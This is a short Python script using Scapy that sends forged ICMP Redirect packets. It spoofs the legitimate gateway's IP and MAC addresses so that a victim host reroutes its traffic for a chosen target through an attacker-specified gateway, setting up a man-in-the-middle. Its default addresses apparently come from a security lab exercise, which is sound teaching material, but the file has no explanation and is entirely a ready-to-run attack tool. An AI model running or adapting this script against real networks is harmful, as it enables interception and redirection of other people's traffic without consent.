#!/usr/bin/python3
import argparse
import sys
import time

from scapy.all import Ether, ICMP, IP, conf, get_if_hwaddr, getmacbyip, sendp


def build_parser():
    parser = argparse.ArgumentParser(
        description="Send forged ICMP Redirect packets with L2 spoofing."
    )
    parser.add_argument("--victim", default="10.9.0.5")
    parser.add_argument("--target", default="192.168.60.5")
    parser.add_argument("--gateway", default="10.9.0.11")
    parser.add_argument("--new-gateway", default="10.9.0.111")
    parser.add_argument("--echo-id", type=int, default=0x1234)
    parser.add_argument("--echo-seq", type=int, default=1)
    parser.add_argument("--count", type=int, default=20)
    parser.add_argument("--interval", type=float, default=0.5)
    return parser


def must_resolve_mac(ip_addr):
    mac = getmacbyip(ip_addr)
    if mac is None:
        print(f"Failed to resolve MAC address for {ip_addr}", file=sys.stderr)
        sys.exit(1)
    return mac


def main():
    args = build_parser().parse_args()
    conf.verb = 0

    victim_mac = must_resolve_mac(args.victim)
    gateway_mac = must_resolve_mac(args.gateway)
    attacker_mac = get_if_hwaddr("eth0")

    outer_ip = IP(src=args.gateway, dst=args.victim)
    redirect = ICMP(type=5, code=1, gw=args.new_gateway)

    # Quote the original packet in the RFC-required minimum form:
    # original IP header + first 8 bytes of payload.
    inner = IP(src=args.victim, dst=args.target) / ICMP(
        type=8, id=args.echo_id, seq=args.echo_seq
    )
    quoted = bytes(inner)[:28]

    frame = (
        Ether(src=gateway_mac, dst=victim_mac)
        / outer_ip
        / redirect
        / quoted
    )

    print(
        "Sending forged redirects: "
        f"gateway_ip={args.gateway}, gateway_mac={gateway_mac}, "
        f"victim_mac={victim_mac}, attacker_mac={attacker_mac}, "
        f"quoted_echo_id={args.echo_id}, quoted_echo_seq={args.echo_seq}"
    )
    for idx in range(args.count):
        sendp(frame, iface="eth0", verbose=False)
        print(f"sent redirect #{idx + 1}")
        time.sleep(args.interval)


if __name__ == "__main__":
    main()
